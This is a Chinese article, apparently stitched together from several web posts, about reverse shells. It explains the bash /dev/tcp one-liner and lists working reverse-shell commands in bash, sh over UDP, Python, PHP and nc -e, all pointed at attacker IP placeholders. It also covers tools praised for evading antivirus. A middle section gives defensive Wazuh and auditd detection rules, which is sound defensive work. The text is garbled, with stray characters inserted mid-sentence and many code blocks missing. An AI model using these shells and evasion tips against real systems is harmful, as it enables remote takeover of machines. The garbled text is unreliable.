大家好,今天来介绍反弹shell常用命令(反弹shell方式)的问题,以下是渲大师小编对此问题的归纳和整理,感兴趣的来一起看看吧!

利用 Bash 反弹 shell

利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令

bash -i >& /dev/tcp/ip/port 0>&1

但是为什么这样就能反弹一个 shell 呢?

>&

ls bebe >& 1.txt
bebe 这个文件夹是不存在的,这个时候会发生什么呢?

会报错吗?不会的,因为错误信息被重定向到 1.txt 文件里了

在 linux 系统里面,各种文件都有自己的标识符,0 代表的是标准输入,1 代表的是标准输出, 2 代表的是标准错误输出,在上面的例子里,因为不存在 bebe 这个文件夹,所以在使用 ls 命令时系统会返回一个错误信息,这就是一个标准错误输出,而如果 bebe 文件夹存在的时候会是什么样呢?为了显示区别,我在 bebe 文件夹创建了一个 test 文件

可以看到,唤携当用 2> 重定向到 3.txt 时是失败了的,里面没有任何东西,前面说了,2 在 linux 系统中代表的是标准错误输出,但是此时 bebe 文件夹是存在的,里面也有文件,所以系统不会返回一个错误信息,而是一个标准输出文件,用 1> 就能正确操作了。

既然有 > ,那么肯定就有 是将输出重定向, < 正好是反过来,重定向输入

/dev/tcp/ip/port

与一台主机指定端口建立 socket 连接

0 >& 1

这里将输入重定向到输入,如果反过来会发生什么,嘿嘿,测试一下

看到没,我在 linux 执行命令,但是命令在 windows 显示出来了,但是命令的回显又是在 linux 本机显肢羡示的,这个顺序反了啊

最后

对于这个命令的执行,我也只是查了一些资料,简单测试了一下,从我的理解来看,第一个 >& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上,最后的 0>&1 则是把本该在 linux 上的回显再重定向到 bash 的输入,而此时 bash 的输入是在远程主机之中,和饥伏这就实现了命令的执行和回显都在远程主机中,方便进行操作。

反弹shell的常用命令(shell反弹攻击)

反弹shell基础

将这句话拆开来看, bash -i , >& , /dev/tcp/ , 0>&1 ,有三个知识点。
(1) bash -i 是打开一个交互的bash
(2) /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
(3) >& 和 0>&1 这两个涉及到Linux文件描述符和重定向。此处的 & 是取地址符

(1)文件描述符
Linux启动时会默认打开三个文件描述符(实现文件读写操作),Linux把键盘、显示器等设备也当做文件用文件描述符进行控制,如果要修改默认设备就需要进行重定向。

(2)重定向
输入的搜枝重定向包括, < 和 < 和 >> , n file ,n省略则默认是1。

错误输出的重定向有三种形式

其中, &> 和 >& 是一个意思,都是将标准错误输出合并到标准输出中。 2>&1 和 >file 可以用如下过程图表示

需要注意的是,上述输入输出重定向,将输入和输凳清出绑定到文件或者设备只对该条指令有效,如果想要一直有效,就需要添加exec指令 exec n file/n

(3)复制
与之形似的是文件描述符的复制 n&m ,这两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开,因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的 & 目的是区分以数字为名字的文件和文件描述符的数值,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是另一个文件描述符。

此时再来看这句命令,可与理解为,创建一个可交互的bash和一个到172.168.1.1:80的TCP链接,然后将bash的输入输出错误都重定向到在172.168.1.1:80监听的进程。

首先,反弹shell可以理解为,攻击者监听在TCP/UDP端口,被控制端的请求被转发到该端口,可以控制其输入输出。一般攻击者攻击了一台机器,并用自己的主机去连接该机器的端口,这是一种“正向连接”,远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接,或者有防火墙等限制,再或者攻击者需要进行实时控制,正向连接是无法满足需要的。所以有了“反向连接”,即让被攻击的主机主动去连接攻击者的服务器。

所以我们还可以从反向连接的角度来理解一下 0>&1 。如果只是 bash -i >& /dev/tcp/172.168.1.1/80 ,将输出描述符连接到了端口,该端口可接收到我们的输出,即我们正向连接了被攻击者的机器,但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显,需要将被攻击机器的输入描述符连接到我们监听的端口上。

也就是说如果我们想要看到回显,除了先将输出描述符连接到端口上,还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同, 0>&1 即可解决。这就形成了一个回路,实现了远程交互式shell的功能。

不过这样的一条指令还不枣漏前够完善,因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令,那么解决办法就是将错误输出和标准输出进行混合,即将 bash -i > 换为 bash -i >&

Bash相关shell主要有以下几种:

刚才详细讲的是第一种bash shell,第二种是将 >& 这种错误输出的混合方式改成了 2>&1 ,2代表错误输出,1代表标准输出,2指向了1,即输出混合了。文件描述符的复制 n&m 两种虽然读写不同但是对于shell的效果是等价的,即和 0>&1 效果相同。所以第二种就是第一种的变种。第四种同理,输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符196,道理类似。

对于第三种bash shell,exec已经在前面提到过可以持续连接,后面的关键点如下:

从文件中依次读取每一行,将其赋值给 line 变量(其他也可),之后在循环中对line进行操作。这里不再从文件中读取,而是通过管道符对攻击者机器上输入的命令进行依次执行,并且将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

另外,本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i >& /dev/udp/172.168.1.1/80 0>&1

除了bash还有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用脚本语言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反弹shell的方式,这里就不一一列举了,原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集,将近80条,写了BashShell.py,就是个简单的查询shell的工具,有需要的下方留言

Wauzh自定义反弹shell告警规则

常见反弹:

bash -i >& /dev/tcp/ip/port 0>&1

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ip’,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,’-i’]);”

php -r ‘exec(“bash -i >& /dev/tcp/ip/port 0>&1”);’

php -r ‘$sock=fsockopen(“ip”,port);exec(“/bin/bash -i &3 2>&3”);’

nc -e /bin/bash ip port

测试截图:

nc:

bash:

反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命冲明令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。

参考:

https://www.freebuf.com/articles/system/187584.html

https://cloud.tencent.com/developer/article/1527568

https://xz.aliyun.com/t/2548  原理深入

https://xz.aliyun.com/t/2549

https://www.cnblogs.com/ginvip/p/6350222.html 文件标识符FD的解释

规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell

1、检查/bin/bash进程(ps -efgrep bash)

2、lsof -p $pid

3、遍历lsof结果

当TYPE中包含CHR且NAME中有(ttyptsptmx)

TYPE中包含’IP’,并且该行包括关键字’ESTABLISHED’,并获取控制端IP信息,正则匹配->和:之间的IP:(?)((2(5[0-5][0-4]d))[0-1]?d{1,2})(.((2(5[0-5][0-4]d))[0-1]?d{1,2})){3}(?=:)

FD为’cwd’,展示该行的NAME

wazuh配置

1、配置audit告警/bin/bash执行,agent端配置:

auditctl -w /bin/bash -p x -F key=audit-wazuh-c

2、wazuh告警

rule.id:80792

3、依据audit内容调整规则, 但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:

   exe=”/bin/bash”+type=EXECVE+包含=“-i”

   执行lsof -p $pid

   判断TYPE中野粗包含’IP’,并且该行包括关键字’ESTABLISHED’,并获取控制端IP信息,正则匹配->和:之间的IP:(?)((2(5[0-5][0-4]d))[0-1]?d{1,2})(.((2(5[0-5][0-4]d))[0-1]?d{1,2})){3}(?=:)

4、通过端口以及进程来判断

客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c

配置执行命令散脊告:netstat -antlp grep ESTABLISHED egrep ‘/(bashsh)’  ( rule.id =100005)

当10005和80792同时出现时,存在反弹shell,告警100006

agent.conf 编写:

     

        no

        reverse shell test

        netstat -antlp grep ESTABLISHED egrep ‘/(bashsh)’ #查看是否存在以bash或者sh为名的远程连接

        5s

        no

        yes

        0

    

decoders.xml编写

    ^tcp

    check_reverse_shell

    s*(d+)s*  #wazuh上适用的regex不一样,需严格遵守官网https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax

    send_q

    check_reverse_shell

    s*(d+pd+pd+pd+)

    srcip

    check_reverse_shell

    p(d+)

    srcport

    check_reverse_shell

    s*(d+pd+pd+pd+)

    dstip

    check_reverse_shell

    p(d+)

    dstport

rule.xml编写

      #不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联

        check_reverse_shell

        ESTABLISHED

        /bash/sh

        bashsh netstat information

    

    

        100005

        80792

        There could be reverse shell.Plz check.

    

告警展示

反弹shell小结

反弹shell(reverse shell),就是控制端监卜山汪听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么型仔什么情况下正向连接不能用了呢?

有如下情况:

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
简而言之,反弹shell就是要我们的vps服务器设置监听,然后让服务器反弹一个shell来连接我们自己的主机,从而使我们能远程控制我们的主机

客户端执行:

服务端成功接收,客户端执行命令成功唯仿。

成功反弹:

当然由于各种环境不同,服务端不一定有nc,所以还要靠其他手段各显神通。

项目地址: https://eternallybored.org/misc/netcat/

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多

注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行

base64编码处理:

目标机器执行:

适用于Python2环境

考虑实战中可能没有python环境
可以先在本地上使用pyinstaller将改文件打包为exe文件,直接上传exe运行即可。(推荐使用)

实际测试bypass av效果也比较好。

其实msf有相应的模块可以生成dll,没事也可以用用这个小工具,轻便快捷,一键操作,免杀能力一般,但起码比msf强,msf生成的基本会被通杀。

将生成的dll文件上传至被攻击端
运行命令:

攻击端用nc监听,即可反弹cmd

github项目地址: https://github.com/Ridter/MyJSRat

攻击端运行:

被控端运行:

首先在目标上查看相关命令是否存在:

某些目标的 nc 不支持 -e 参数,有两个解决思路
要么使用其他版本的 nc:

要么配合命名管道进行反弹:

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

然后再目标机上执行如下,即可反弹shell:

补充: curl IPbash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等

保存为Revs.java文件,编译执行,成功反弹shell。

项目地址: https://github.com/iagox86/dnscat2

具体原理请参考: python正向连接后门

最后,推荐一个一键在线生成反弹shell网站:
https://krober.biz/misc/reverse_shell.php

windows命令行反弹shell(一)
Windows/Linux 下nc 反弹shell
反弹shell原理与实现
Reverse shell cheatsheet
反弹shell的各种姿势